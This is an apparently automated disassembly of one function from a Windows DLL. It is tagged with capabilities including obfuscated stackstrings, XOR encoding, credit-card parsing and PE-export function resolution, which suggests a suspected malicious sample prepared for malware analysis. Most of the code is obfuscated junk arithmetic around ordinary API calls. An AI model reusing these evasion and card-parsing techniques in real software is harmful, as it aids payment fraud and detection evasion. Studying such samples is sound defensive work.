Function at 0x18001bf10
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Parse credit card information
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4e0]
sub rsp, 0x5e0
mov rax, qword [0x180067a78]
xor rax, rsp
mov qword [rbp + 0x4d0], rax
mov rax, qword [rbp + 0x540]
mov r12d, 0x47ab8132
mov qword [rbp + 0x50], rax
mov eax, dword [0x180067608]
mov dword [rsp + 0x74], eax
mov r15, qword [0x180067610]
movsx rax, word [0x180067638]
mov qword [rbp - 0x78], rax
movsxd rax, dword [0x1800675cc]
mov qword [rbp - 0x60], rax
mov rax, qword [0x180067610]
movzx esi, word [0x180067618]
mov qword [rbp - 0x50], rax
mov eax, 0xc113a78a
mov qword [rbp - 0x70], rax
mov al, byte [0x1800675f9]
mov byte [rsp + 0x50], al
mov eax, 0x76
mov dword [rsp + 0x70], 0x66b6726a
mov word [rsp + 0x5c], ax
mov r13, qword [0x1800675d0]
mov eax, dword [0x18006759c]
movsxd rbx, dword [0x180067664]
mov byte [rsp + 0x6c], al
mov eax, dword [0x180067650]
movsx eax, byte [0x18006756f]
mov dword [rsp + 0x78], eax
movzx eax, byte [0x180067587]
mov word [rsp + 0x54], ax
movzx eax, word [0x180067664]
mov word [rsp + 0x68], ax
movzx eax, word [0x1800675fc]
mov byte [rsp + 0x58], 0xb4
mov byte [rsp + 0x6c], 0xd1
mov word [rsp + 0x6c], ax
mov rax, qword [0x1800675e0]
mov byte [rsp + 0x6c], al
movzx eax, word [0x180067584]
mov byte [rsp + 0x6c], al
movabs rax, 0x889ea9571d556
mov qword [rbp + 0x20], rax
mov eax, dword [str.hZn0]
mov qword [rbp + 0x20], 0x19c834e4
mov eax, 0xc426
mov word [rsp + 0x6c], ax
mov eax, 0xdbfe
mov byte [rsp + 0x6c], 0xde
mov qword [rbp + 0x20], 0xc51b
mov qword [rbp + 0x20], 0x437
mov word [rsp + 0x6c], ax
mov eax, dword [0x18006760c]
mov qword [rbp + 0x20], rax
mov al, byte [0x180067586]
mov rax, qword [0x180067640]
mov qword [rbp + 0x28], rcx
mov ecx, dword [0x180067660]
mov eax, dword [0x180067660]
sub rcx, qword [0x1800675d8]
add eax, ecx
mov qword [rbp + 0x30], rdx
mov dword [0x180067660], eax
mov rcx, qword [rbp - 0x78]
mov rdx, qword [0x180067620]
movsx rax, byte [0x1800675be]
add rcx, rax
mov qword [rbp + 0x68], r9
movzx eax, word [rsp + 0x68]
xor rdx, rcx
mov rdi, qword [rbp - 0x50]
not rdi
mov qword [rbp + 0x70], r8
and rdi, rax
mov qword [rbp - 0x18], r15
mov eax, dword [0x180bd5d30]
sub rdi, rdx
mov dword [rsp + 0x60], eax
mov qword [rbp - 0x70], 3
mov qword [rbp - 0x40], r12
mov qword [rbp + 0x10], r13
mov qword [rbp - 0x48], rbx
mov dword [rbp - 0x30], 0x778c2c3b
movzx eax, word [0x180067654]
test eax, 0x37899fb8
sete byte [rsp + 0x6c]
mov eax, dword [0x180067634]
xor r14d, r14d
test eax, eax
mov ecx, r14d
movzx eax, word [rsp + 0x68]
sete cl
not eax
sub eax, ecx
mov ecx, r14d
imul edx, eax, 0x4e17
cmp word [0x18006763c], r14w
mov eax, dword [0x180067660]
sete cl
not eax
imul ecx, eax
imul ecx, dword [0x1800675cc]
inc ecx
add ecx, edx
mov qword [0x180067640], rcx
mov rax, qword [rbp - 0x70]
dec rax
cmp rax, 1
jne 0x18001c16d
mov al, byte [0x180067668]
mov byte [0x180d35f49], al
mov eax, dword [rsp + 0x60]
add eax, 0x409
mov dword [rsp + 0x7c], eax
mov eax, dword [rsp + 0x74]
sub eax, 0x3dc263e3
cdqe
mov qword [rbp - 0x60], rax
mov eax, dword [rsp + 0x60]
add eax, 0x452
cmp byte [0x1800675be], r14b
mov dword [rsp + 0x64], eax
mov eax, r14d
mov r8d, dword [rsp + 0x74]
sete al
movzx edx, word [0x18006763c]
sub r8d, eax
movsx eax, byte [0x1800675be]
add edx, eax
movsx eax, word [rsp + 0x5c]
movzx ecx, byte [0x1800675bf]
not edx
add eax, edx
add ecx, eax
movsx eax, word [0x180067638]
add eax, 0x2f
imul ecx, eax
mov eax, dword [rsp + 0x60]
imul ecx, r8d
test ecx, ecx
sete byte [0x1800675fb]
add eax, 0x3f3
mov dword [rsp + 0x7c], eax
mov eax, dword [rsp + 0x74]
test eax, eax
je 0x18001c222
mov r9, qword [rbp - 0x78]
xor r8d, r8d
mov rcx, qword [0x180067658]
xor edx, edx
mov qword [rsp + 0x20], 8
call fcn.1800311f4
mov rsi, rax
movzx eax, word [rsp + 0x54]
movsx ecx, byte [0x18006756f]
mov r8d, r14d
movzx eax, word [rsp + 0x54]
mov edx, r14d
cmp eax, ecx
movsxd rcx, dword [rsp + 0x70]
mov rax, qword [0x180067600]
setl r8b
cmp rax, rcx
setg dl
cmp edx, r8d
ja 0x18001c255
mov eax, dword [rsp + 0x78]
mov eax, dword [rsp + 0x64]
mov ecx, 0x6f7
sub ecx, eax
mov eax, dword [rsp + 0x64]
add eax, ecx
lea rcx, [0x18004ba10]
mov dword [rbp + 0x18], eax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x1800675f0], eax
movzx eax, word [rsp + 0x54]
test ax, ax
jne 0x18001c28c
mov al, byte [0x180067587]
mov eax, dword [0x180bd5d30]
mov dword [rsp + 0x60], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r14d, eax
mov dword [rbp - 0x80], eax
mov eax, dword [rsp + 0x60]
add eax, 0x94db
mov dword [rbp - 0x58], eax
mov eax, 4
mov word [rsp + 0x54], ax
mov eax, dword [rsp + 0x74]
movsx ecx, byte [rsp + 0x50]
test eax, eax
jne 0x18001c2ca
movzx ecx, byte [rsp + 0x6c]
movsxd rax, ecx
mov qword [0x180067658], rax
mov eax, dword [0x1800675f0]
add eax, 0x12ef0bf6
mov dword [rsp + 0x78], eax
movzx ecx, word [rsp + 0x54]
test ecx, ecx
je 0x18001c380
sub ecx, 1
je 0x18001c369
sub ecx, 1
je 0x18001c35a
sub ecx, 1
je 0x18001c32a
cmp ecx, 1
jne 0x18001c38a
mov rax, qword [rbp - 0x78]
mov ecx, 0x4e3d
sub ax, cx
mov cl, byte [0x18006762a]
add si, ax
lea eax, [rcx - 0x32]
or cl, al
mov byte [0x18006762a], cl
jmp 0x18001c38a
mov eax, dword [0x180067630]
movsx ecx, byte [0x18006756c]
movsx edx, al
imul edx, ecx
mov cl, byte [0x1800675e8]
not cl
add cl, dl
not cl
mov al, cl
shl al, 2
add cl, al
add cl, cl
mov byte [0x1800675be], cl
jmp 0x18001c38a
movzx eax, word [0x180067584]
mov byte [0x180e9bd8f], al
jmp 0x18001c38a
movzx eax, word [0x180bd5d30]
add byte [0x180067583], dil
mov word [0x180067628], ax
jmp 0x18001c38a
mov eax, 0x2e32
mov word [rsp + 0x5c], ax
mov eax, dword [rsp + 0x60]
add eax, 0x3c8
mov dword [rsp + 0x7c], eax
mov eax, dword [rsp + 0x60]
add eax, 0x414
mov dword [rsp + 0x7c], eax
mov eax, 0x9bb9
mov byte [0x180067586], 0x73
mov ecx, dword [rbp - 0x58]
movups xmm0, xmmword [str.Serialized_blob_is]
xor ecx, 0xb8
sub eax, ecx
lea rcx, [rbp + 0xf0]
mov dword [rbp - 0x10], eax
mov eax, dword [0x180bd5d30]
mov dword [rsp + 0x60], eax
movzx eax, word [0x18004bbc8]
mov word [rbp + 0x100], ax
mov al, byte [0x18004bbca]
mov byte [rbp + 0x102], al
movups xmmword [rbp + 0xf0], xmm0
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov word [rsp + 0x5c], ax
mov ecx, 1
mov eax, dword [rsp + 0x60]
add eax, 0xa2a7
mov dword [rbp - 8], eax
movzx eax, byte [0x180067583]
cmp eax, 0x2b7c0d13
ja 0x18001c433
mov al, byte [0x180067586]
cmp al, byte [0x1800675fa]
jbe 0x18001c433
mov eax, ecx
jmp 0x18001c435
xor eax, eax
cmp eax, dword [0x180067674]
jne 0x18001c451
movzx ecx, word [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov r13d, eax
mov qword [rbp + 0x10], r13
jmp 0x18001c493
mov eax, dword [rsp + 0x70]
movzx ecx, r14w
cmp eax, ecx
jge 0x18001c493
movsx r8d, word [0x18006756c]
movzx eax, word [rsp + 0x68]
mov ecx, dword [rsp + 0x78]
movsx edx, byte [0x1800675ff]
xor ecx, eax
movzx eax, word [rsp + 0x68]
imul edx, r8d
xor dx, r8w
sub ax, cx
mov word [0x18006756c], dx
mov word [rsp + 0x68], ax
mov eax, dword [rsp + 0x60]
add eax, 0x41c
mov dword [rbp - 0x58], eax
movzx eax, byte [0x1800675bf]
cmp qword [0x180067658], rax
je 0x18001c4c4
movzx eax, r15w
xor ax, word [0x180067638]
add r15w, ax
mov qword [rbp - 0x18], r15
jmp 0x18001c4d2
movzx eax, word [rsp + 0x68]
shl eax, 3
mov dword [0x180067660], eax
mov eax, dword [rsp + 0x60]
add eax, 0x3be9
mov dword [rbp - 0x38], eax
mov eax, 2
mov dword [0x18006759c], eax
mov edx, dword [rbp - 0x58]
mov eax, dword [rbp - 8]
or edx, eax
mov eax, dword [rbp - 0x38]
imul ecx, eax, 0x8397
lea eax, [rdx - 0x1ecc31d1]
add eax, ecx
mov dword [rbp - 0x38], eax
mov eax, dword [0x180bd5d30]
mov dword [rsp + 0x64], eax
mov ecx, dword [0x180067660]
call qword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov byte [rsp + 0x58], al
mov dl, 0xe5
mov eax, dword [rsp + 0x64]
xor ecx, ecx
add eax, 0xc376
mov dword [rsp + 0x60], eax
call fcn.180031edc
xor r9d, r9d
mov r14b, al
mov dword [rbp - 0x68], r14d
test al, al
jle 0x18001c556
movzx ecx, word [0x180067654]
add ecx, 0xb8
mov dword [0x18006761c], ecx
mov ecx, dword [rsp + 0x64]
mov r8d, r9d
add ecx, 0x495
mov edx, r9d
test r14b, r14b
mov dword [rsp + 0x7c], ecx
mov eax, dword [0x18006761c]
mov ecx, r9d
setne r8b
test rbx, rbx
sete dl
cmp edx, eax
setl cl
cmp r8d, ecx
je 0x18001c5a9
mov rax, qword [rbp - 0x50]
call qword [sym.imp.USER32.dll_GetFocus]
test rax, rax
je 0x18001c5b5
mov edx, 1
mov rcx, rax
call qword [sym.imp.USER32.dll_GetSystemMenu]
jmp 0x18001c5b5
mov eax, dword [0x180067634]
add dword [0x1800675cc], eax
mov eax, dword [rsp + 0x64]
movsx ecx, word [0x18006756c]
add eax, 0x3dd9
mov dword [rsp + 0x7c], eax
mov qword [rbp - 0x78], rbx
xor ebx, ebx
mov eax, dword [rsp + 0x70]
sub ecx, eax
cmp word [0x18006763c], bx
mov dword [0x180067650], ecx
je 0x18001c63d
xor edx, edx
xor ecx, ecx
call fcn.180031edc
test al, al
je 0x18001c603
mov rcx, rdi
call qword [sym.imp.USER32.dll_IsIconic]
mov word [0x180067638], ax
jmp 0x18001c656
cmp qword [0x180067668], rbx
je 0x18001c614
cmp byte [0x1800675f8], bl
je 0x18001c656
mov al, byte [0x18006756e]
movsx rcx, byte [0x18006762a]
shl al, 3
mov byte [rsp + 0x58], al
mov rax, qword [rbp - 0x78]
sub rcx, rax
mov rax, qword [rbp - 0x78]
add rax, rcx
mov qword [rbp - 0x78], rax
jmp 0x18001c656
movsxd rax, dword [rsp + 0x78]
mov qword [0x180067678], rax
mov rax, qword [0x180067640]
sub byte [0x1800675f8], al
mov edx, dword [rsp + 0x60]
mov eax, dword [rsp + 0x60]
sub edx, eax
mov ecx, dword [rsp + 0x60]
mov eax, dword [rsp + 0x60]
add ecx, eax
imul ecx, edx
mov eax, 0x343
mov edx, 0xe3
sub eax, ecx
mov ecx, 0xc
mov dword [rbp + 8], eax
call fcn.180031868
mov byte [0x180067586], al
mov al, byte [0x180067586]
test al, al
je 0x18001c6ac
movzx eax, word [rsp + 0x5c]
test ax, ax
je 0x18001c6ac
mov eax, dword [0x180067658]
add dword [0x180067664], eax
mov eax, dword [0x180bd5d30]
mov rcx, qword [0x1800675e8]
mov dword [rsp + 0x64], eax
call qword [sym.imp.USER32.dll_IsZoomed]
xor edx, edx
movsx ebx, r15w
mov eax, eax
mov qword [0x180067600], rax
mov eax, dword [rsp + 0x64]
add eax, 0xb5b4
mov dword [rsp + 0x7c], eax
mov eax, dword [0x180bd5d30]
mov qword [rbp - 0x70], rax
mov eax, dword [rsp + 0x64]
add eax, 0x44d
mov dword [rsp + 0x7c], eax
mov eax, dword [rsp + 0x64]
movzx ecx, word [0x180067628]
add eax, 0x44c
mov dword [rbp - 0x58], eax
add rcx, 0x6b0a
add qword [0x180067668], rcx
movzx eax, byte [0x1800675fa]
mov word [rsp + 0x5c], ax
mov rax, qword [0x180067600]
mov ecx, dword [rbp - 0x58]
mov eax, 0x74b4
or ecx, 0x691f
sub eax, ecx
mov ecx, edx
cmp r13d, ebx
mov dword [rbp - 0x28], eax
mov eax, edx
setne cl
cmp r13d, 0x44
setne al
cmp ecx, eax
je 0x18001c7e4
mov rax, qword [rbp - 0x60]
cmp rax, r12
jb 0x18001c78a
mov al, byte [0x1800675be]
movabs rcx, 0x3a277728bcade
xor al, 0x77
mov byte [0x180067586], al
mov eax, dword [0x180067674]
imul rax, rcx
mov qword [0x180067620], rax
jmp 0x18001c7e4
mov rax, qword [0x180067620]
test rax, rax
je 0x18001c7aa
mov eax, dword [0x180067660]
movsx ecx, al
imul eax, ecx, 0x2d
mov byte [0x1800675f8], al
jmp 0x18001c7e4
mov eax, 0xef
cmp si, ax
jb 0x18001c7c0
mov dword [0x180067634], 0xb8547ecd
jmp 0x18001c7e4
mov rax, qword [0x180067640]
test rax, rax
je 0x18001c7e4
mov rax, qword [rbp - 0x78]
movabs rdx, 0x6be0ded2de622
sub rdx, rax
add qword [0x180067668], rdx
mov eax, dword [0x180bd5d30]
lea rcx, [0x18004ba10]
mov dword [rsp + 0x64], eax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, dword [rsp + 0x64]
xor r9d, r9d
add ecx, 0x4a4
mov qword [rbp], rax
mov dword [rsp + 0x7c], ecx
mov r15, rax
mov ecx, dword [rsp + 0x64]
mov edx, r9d
add ecx, 0x371e
mov dword [rsp + 0x60], ecx
movzx ecx, word [rsp + 0x5c]
test cx, cx
movzx ecx, word [rsp + 0x68]
sete dl
add cx, dx
mov edx, r9d
not cx
mov word [rsp + 0x5c], cx
mov eax, dword [rsp + 0x64]
add eax, 0x3c5
mov dword [rsp + 0x7c], eax
movzx eax, word [0x180067584]
cmp r13d, eax
mov eax, r9d
setne dl
cmp r13d, 0x37
setne al
cmp edx, eax
jbe 0x18001c8fc
mov dl, byte [0x18006762a]
mov cl, 5
call fcn.180031edc
xor r9d, r9d
movzx edi, al
movsxd rax, dword [0x180067650]
mov r8d, r9d
mov rcx, qword [0x180067658]
cmp rdi, rax
movsx rax, byte [0x18006756e]
mov edx, r9d
seta r8b
sub rcx, rax
movzx eax, byte [0x180067586]
cmp rcx, r8
setg dl
cmp eax, edx
jne 0x18001c8ce
movsx rax, byte [0x1800675fe]
cmp rax, rdi
jb 0x18001c920
mov byte [0x1800675fa], 0x18
jmp 0x18001c920
test rdi, rdi
jne 0x18001c8dc
cmp byte [0x18006762a], r9b
jne 0x18001c920
mov eax, dword [rsp + 0x74]
mov r12d, 0x47ab8131
movzx ecx, al
imul eax, ecx, 0xa3
mov qword [rbp - 0x40], r12
add r15b, al
mov qword [rbp], r15
jmp 0x18001c920
movzx eax, word [rbp - 0x80]
imul ecx, eax, 0x964bc0a1
mov dword [0x180067660], ecx
mov ecx, 0x59b6
movzx eax, word [rsp + 0x68]
add ax, cx
mov word [0x18006763c], ax
movzx eax, si
cmp eax, dword [rbp - 0x30]
jb 0x18001c980
movzx ecx, word [0x180067658]
xor edx, edx
call fcn.1800316ec
movsx r12, ax
xor ebx, ebx
mov qword [rbp - 0x40], r12
test r12, r12
je 0x18001c974
movups xmm0, xmmword [str.ibm01143]
movzx eax, word [0x18004bbe0]
lea rcx, [rbp + 0x138]
mov word [rbp + 0x148], ax
movups xmmword [rbp + 0x138], xmm0
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x78], eax
jmp 0x18001c9d3
mov eax, dword [rsp + 0x70]
inc eax
mov dword [rsp + 0x70], eax
jmp 0x18001c9d3
not ebx
test ebx, ebx
jne 0x18001c9bf
mov rax, qword [rbp - 0x70]
xor ebx, ebx
test rax, rax
mov ecx, ebx
sete cl
cmp dword [0x180067664], ecx
jg 0x18001c9c1
mov rax, qword [rbp - 0x70]
test rax, rax
jne 0x18001c9d3
movzx eax, word [0x180bd5d30]
mov word [0x1800675fc], ax
mov dword [0x1800675f4], 0x56d4
jmp 0x18001c9d3
xor ebx, ebx
mov rcx, qword [0x180067610]
mov rax, qword [rbp - 0x50]
add rcx, rax
mov qword [rbp - 0x50], rcx
mov ecx, dword [rsp + 0x60]
mov eax, dword [rsp + 0x60]
imul ecx, eax
mov eax, 0xbddeb75
sub eax, ecx
mov dword [rsp + 0x60], eax
mov eax, 0x38bc
movzx ecx, word [rsp + 0x54]
sub cx, ax
movzx eax, word [rsp + 0x54]
add cx, ax
movsx rax, byte [0x18006756e]
mov word [rsp + 0x54], cx
movabs rcx, 0x39737e909e244
imul rax, rcx
movsx rcx, byte [0x18006762a]
mov qword [rbp - 0x50], rax
mov eax, dword [0x180bd5d30]
mov dword [rsp + 0x64], eax
call qword [sym.imp.USER32.dll_GetParent]
mov esi, dword [rbp - 0x80]
mov dword [0x18006761c], eax
mov eax, dword [rsp + 0x64]
add eax, 0x76b
mov dword [rsp + 0x7c], eax
mov eax, 0x84a2
mov qword [rbp - 0x70], 3
movsx ecx, byte [0x18006756f]
mov word [0x180067628], ax
mov rax, qword [rbp - 0x70]
shl ecx, 6
dec rax
mov dword [0x180067674], ecx
sub rax, 1
je 0x18001caa3
cmp rax, 1
jne 0x18001caae
movzx eax, word [rsp + 0x68]
movsxd r12, dword [rsp + 0x70]
sub al, 0x36
mov byte [0x18006762a], al
movabs rax, 0xe96a50bbcee69
add r12, rax
jmp 0x18001caaa
mov r12, qword [0x180c57de8]
mov qword [rbp - 0x40], r12
mov eax, dword [rsp + 0x64]
xor r9d, r9d
add eax, 0x5d7
mov qword [rsp + 0x20], 0xf0
xor r8d, r8d
mov dword [rbp - 0x58], eax
xor ecx, ecx
lea edx, [r9 + 0x41]
call fcn.180031504
mov byte [rsp + 0x50], al
mov al, byte [rsp + 0x50]
test al, al
je 0x18001cb22
mov rax, qword [rbp - 0x50]
test rax, rax
je 0x18001caf7
mov al, byte [0x180067654]
sub byte [0x180067583], al
jmp 0x18001cb38
mov al, byte [0x18006756c]
sub byte [0x1800675bf], al
movsx eax, byte [0x18006756e]
not eax
movsxd rcx, eax
mov rax, qword [0x1800675e0]
xor rax, rcx
mov qword [0x1800675e0], rax
jmp 0x18001cb38
mov al, byte [0x180067587]
test al, al
je 0x18001cb38
mov rax, qword [rbp - 0x70]
sar rax, 5
mov byte [rsp + 0x50], al
mov eax, dword [rsp + 0x64]
add eax, 0x5cd
movzx ecx, r15b
mov dword [rbp - 0x58], eax
mov rax, qword [rbp - 0x60]
mov qword [rbp + 0x48], rbx
cmp rcx, rax
jbe 0x18001cb63
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov byte [0x180067583], al
jmp 0x18001cb7e
mov ecx, dword [0x18006761c]
movzx eax, r15b
cmp eax, ecx
jge 0x18001cb7e
mov rax, qword [rbp - 0x70]
sub eax, 0x540874d6
mov qword [rbp - 0x30], rax
movzx ecx, word [0x1800675fc]
sub byte [0x18006756e], cl
cmp word [0x18006763c], bx
mov dword [rbp - 0x58], ebx
mov qword [rbp + 0x58], rbx
je 0x18001cbfd
mov eax, dword [0x180067634]
mov edx, ebx
cmp dword [0x180067674], eax
mov eax, ebx
seta dl
cmp dword [0x180067674], 0x64
seta al
cmp edx, eax
jne 0x18001cbc6
mov qword [rbp - 0x70], 0xe3f3
jmp 0x18001cc12
test rdi, rdi
mov rax, rbx
mov edx, ebx
mov ecx, ebx
sete al
cmp rax, r12
mov eax, dword [rsp + 0x74]
setne dl
cmp eax, 0x6d
setge cl
sub ecx, edx
not ecx
test ecx, ecx
je 0x18001cc12
mov eax, dword [0x180067660]
add al, byte [0x1800675d8]
mov byte [rsp + 0x58], al
jmp 0x18001cc12
movsx eax, byte [0x1800675f8]
add ax, 2
add ax, cx
mov word [0x18006763c], ax
movzx edx, word [0x180067654]
mov r9d, 0xb4
xor r8d, r8d
mov qword [rbp + 0x38], rbx
xor ecx, ecx
mov r12, rbx
call fcn.180031380
mov eax, eax
xor edx, edx
mov qword [0x180067668], rax
test rax, rax
je 0x18001cc59
movzx eax, word [rsp + 0x68]
mov rcx, qword [0x180067640]
imul rcx, rax
mov qword [0x180067640], rcx
jmp 0x18001cc75
mov eax, dword [rsp + 0x78]
add al, 0x7b
mov byte [rsp + 0x6c], al
mov rax, qword [0x180067620]
sub rax, qword [rbp - 0x40]
mov qword [0x180067620], rax
mov qword [rbp + 0x78], rdx
call qword [sym.imp.USER32.dll_GetFocus]
xor r9d, r9d
test rax, rax
je 0x18001cca1
mov rcx, rax
call qword [sym.imp.USER32.dll_GetMenu]
mov rcx, rax
mov edx, 1
call qword [sym.imp.USER32.dll_GetSubMenu]
xor r9d, r9d
test r14b, r14b
je 0x18001ccee
mov edx, 0x80
lea ecx, [rdx + 0x17]
call fcn.1800316ec
mov word [rsp + 0x68], ax
xor r9d, r9d
movzx eax, word [rsp + 0x68]
movsx ecx, word [rsp + 0x5c]
not ecx
test ecx, ecx
je 0x18001ccee
movzx eax, byte [rsp + 0x6c]
mov rcx, qword [rbp - 0x60]
not rcx
xor rcx, rax
movsx eax, byte [0x1800675ff]
sub eax, 0x4d
mov qword [0x1800675e0], rcx
movsxd rdi, eax
mov eax, dword [str.hZn0]
mov qword [rbp + 0x20], r9
cmp eax, r13d
je 0x18001cd37
cmp word [0x1800675fc], r9w
je 0x18001cd37
mov edx, dword [rsp + 0x78]
mov ecx, dword [0x18006761c]
movsx eax, r14b
add edx, eax
mov eax, dword [0x180067664]
xor eax, 0x5b245955
not edx
sub edx, eax
mov rax, qword [rbp - 0x70]
imul ecx, eax
not edx
sub edx, ecx
mov dword [0x1800675f4], edx
movzx esi, si
mov eax, esi
not eax
movsxd rcx, eax
mov rax, qword [rbp - 0x60]
cmp rax, rcx
jbe 0x18001cd98
cmp qword [rbp - 0x40], r9
je 0x18001cd71
mov eax, dword [0x180bd5d30]
mov dword [0x1800675f0], eax
mov eax, 0x179a
add ax, word [0x180067638]
mov word [rbp - 0x18], ax
jmp 0x18001ce1d
mov eax, 0x8a262787
mov qword [0x180067640], rax
movzx edx, word [rsp + 0x54]
mov ecx, dword [0x180067634]
movzx eax, cx
imul eax, edx
mov word [rsp + 0x54], ax
jmp 0x18001ce1d
test r14b, r14b
je 0x18001cdad
mov rax, qword [rbp - 0x70]
add rax, 0xd4
mov qword [rbp - 0x60], rax
jmp 0x18001ce1d
cmp byte [0x180067583], r9b
je 0x18001ce1d
mov eax, dword [0x18006761c]
mov rcx, r9
add eax, 0x53ef32db
mov dword [str.hZn0], eax
mov rax, qword [rbp - 0x78]
mov rdx, qword [rbp - 0x50]
test rax, rax
movzx eax, byte [0x180067583]
sete cl
add rdx, rcx
mov ecx, dword [rsp + 0x74]
add ecx, eax
movzx eax, byte [0x1800675bf]
imul rax, qword [rbp - 0x48]
movsxd r8, ecx
movsx ecx, byte [0x18006756f]
imul r8, rdx
test rax, rax
mov edx, r9d
mov rax, r9
sete dl
add ecx, edx
sete al
xor rax, r8
mov qword [0x180067640], rax
movsx rcx, word [rsp + 0x5c]
mov rax, qword [0x180067610]
cmp rax, rcx
jne 0x18001ce71
movsx eax, byte [rsp + 0x50]
cmp eax, dword [0x1800675f4]
jae 0x18001ce71
mov eax, dword [rsp + 0x78]
sub eax, dword [0x1800675e8]
movzx edx, byte [0x180067586]
mov ecx, dword [0x1800675f4]
imul ecx, eax
movzx eax, byte [0x180067586]
add eax, edx
mov dword [0x1800675f4], ecx
mov ecx, dword [rsp + 0x74]
add cl, al
mov byte [0x180067586], cl
mov cl, byte [0x180067668]
xor edx, edx
call fcn.180031edc
xor r8d, r8d
movzx eax, al
mov dword [rsp + 0x74], eax
mov edx, r8d
movsx eax, byte [0x18006756f]
mov ecx, r8d
cmp eax, esi
mov rax, qword [rbp - 0x60]
setle dl
cmp qword [0x180067658], rax
setbe cl
cmp edx, ecx
jne 0x18001cee3
movzx eax, byte [rsp + 0x58]
mov cl, byte [rsp + 0x58]
add cl, byte [0x180067648]
add cl, al
mov byte [rsp + 0x58], cl
mov ecx, r8d
movzx eax, word [rsp + 0x5c]
test ax, ax
movzx eax, word [0x1800675cc]
sete cl
movzx ecx, cx
imul ecx, eax
mov word [rsp + 0x68], cx
jmp 0x18001cf38
mov rax, qword [0x180067648]
mov ecx, r8d
add rax, 0x6b52
movabs rdx, 0x91d90e7b6991b
mov qword [0x180067600], rax
test r13d, r13d
movzx eax, byte [0x1800675fb]
sete cl
imul ecx, dword [0x180067674]
sub ecx, eax
mov eax, dword [0x180067634]
sub ecx, eax
mov rax, qword [rbp - 0x78]
sub rax, 0x59
imul rax, rdx
cmp rax, rcx
sete byte [0x1800675f8]
lea rax, [rbp + 0xd0]
mov dword [rbp + 0xd0], 0x206f6e3c
mov qword [rbp + 0x60], rax
mov eax, 0x6070
add ax, word [0x180067674]
mov dword [rbp + 0xd4], 0x656d616e
mov word [rbp + 0xd8], 0x3e
mov word [rsp + 0x5c], ax
mov qword [rbp + 0x40], r8
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessorNumber]
movups xmm0, xmmword [str.A_new_client_creat]
mov dword [0x1800675f4], eax
lea rcx, [rbp + 0x108]
movzx eax, word [0x18004bbf8]
mov word [rbp + 0x118], ax
mov al, byte [0x18004bbfa]
mov byte [rbp + 0x11a], al
movups xmmword [rbp + 0x108], xmm0
call qword [sym.imp.KERNEL32.dll_lstrlenA]
xor r9d, r9d
mov word [rsp + 0x54], ax
mov eax, dword [rsp + 0x78]
cmp dword [0x1800675cc], eax
mov qword [rbp - 0x20], r9
jne 0x18001d002
lea eax, [r9 + 1]
sub al, byte [0x1800675fb]
movsx ecx, al
movsx eax, byte [0x1800675ff]
imul eax, ecx
mov byte [0x1800675ff], al
movsx eax, byte [0x18006756f]
sub eax, 0x5cff4312
cdqe
mov qword [0x180067678], rax
jmp 0x18001d017
movsx eax, byte [0x1800675be]
not eax
add eax, dword [0x180067668]
mov dword [0x180067664], eax
movzx eax, byte [0x180067586]
mov r8d, r9d
movsx edx, word [0x180067638]
cmp edx, eax
mov eax, r9d
setne r8b
cmp edx, 0x1e
setne al
cmp r8d, eax
je 0x18001d04a
mov eax, dword [0x180bd5d30]
mov dword [0x1800675f0], eax
jmp 0x18001d056
movzx eax, word [0x180bd5d30]
mov word [rsp + 0x68], ax
mov rcx, qword [rbp - 0x70]
mov edx, dword [0x18006761c]
call fcn.180031868
movsxd rcx, eax
xor r8d, r8d
mov qword [rbp - 0x60], rcx
mov rax, qword [rbp - 0x50]
test rax, rax
je 0x18001d101
mov r9d, 0xc9
mov qword [rsp + 0x20], r8
lea edx, [r8 + 2]
xor ecx, ecx
lea r8d, [r9 - 1]
call fcn.180031504
mov rdi, rax
xor eax, eax
cmp rdi, 0x1f
mov edx, eax
mov ecx, eax
seta dl
test rdi, rdi
setne cl
cmp ecx, edx
ja 0x18001d162
lea r9d, [rax + 1]
mov qword [rsp + 0x20], 0x9c
xor r8d, r8d
xor edx, edx
mov ecx, 0xf2
call fcn.180031504
mov qword [rbp - 0x48], rax
test rax, rax
je 0x18001d162
call qword [sym.imp.USER32.dll_GetFocus]
test rax, rax
je 0x18001d162
mov rcx, rax
call qword [sym.imp.USER32.dll_GetMenu]
mov rcx, rax
mov edx, 1
call qword [sym.imp.USER32.dll_GetSubMenu]
jmp 0x18001d162
movsxd rax, dword [str.hZn0]
mov rdx, r8
cmp rax, qword [rbp - 0x48]
mov rax, qword [0x180067620]
seta dl
cmp rdx, rax
jbe 0x18001d13a
mov al, byte [0x180067587]
mov ecx, r8d
test al, al
movzx eax, word [rbp - 0x40]
sete cl
sub ax, cx
mov word [rsp + 0x5c], ax
jmp 0x18001d162
test r15b, r15b
je 0x18001d162
cmp word [0x180067654], r8w
mov rax, r8
sete al
mov qword [0x1800675e8], rax
movzx eax, byte [0x1800675fb]
sub r13d, eax
mov qword [rbp + 0x10], r13
movsd xmm0, qword [0x18004bc00]
lea rcx, [rbp + 0xe0]
mov eax, dword [0x18004bc08]
movsd qword [rbp + 0xe0], xmm0
mov dword [rbp + 0xe8], eax
call qword [sym.imp.KERNEL32.dll_lstrlenA]
xor r9d, r9d
mov dword [rbp - 8], 0x3998
cmp qword [rbp + 0x28], 0xffffffffffffffff
mov byte [rsp + 0x50], al
mov rax, qword [rbp + 0x50]
mov dword [rax], r9d
lea eax, [r9 + 0x5a]
je 0x18001d6aa
movsx rcx, word [0x180067638]
mov r8, qword [rbp - 0x30]
cmp qword [rbp - 0x48], rcx
je 0x18001d1d0
lea eax, [r13 - 0xe40a]
mov dword [0x180067674], eax
jmp 0x18001d1fd
mov rax, qword [rbp - 0x60]
mov cl, byte [rsp + 0x58]
add rax, 0x5f6b
and cl, al
mov byte [rsp + 0x58], cl
mov ecx, r8d
mov eax, dword [0x1800675f0]
sub ecx, eax
mov eax, dword [0x1800675f0]
add eax, ecx
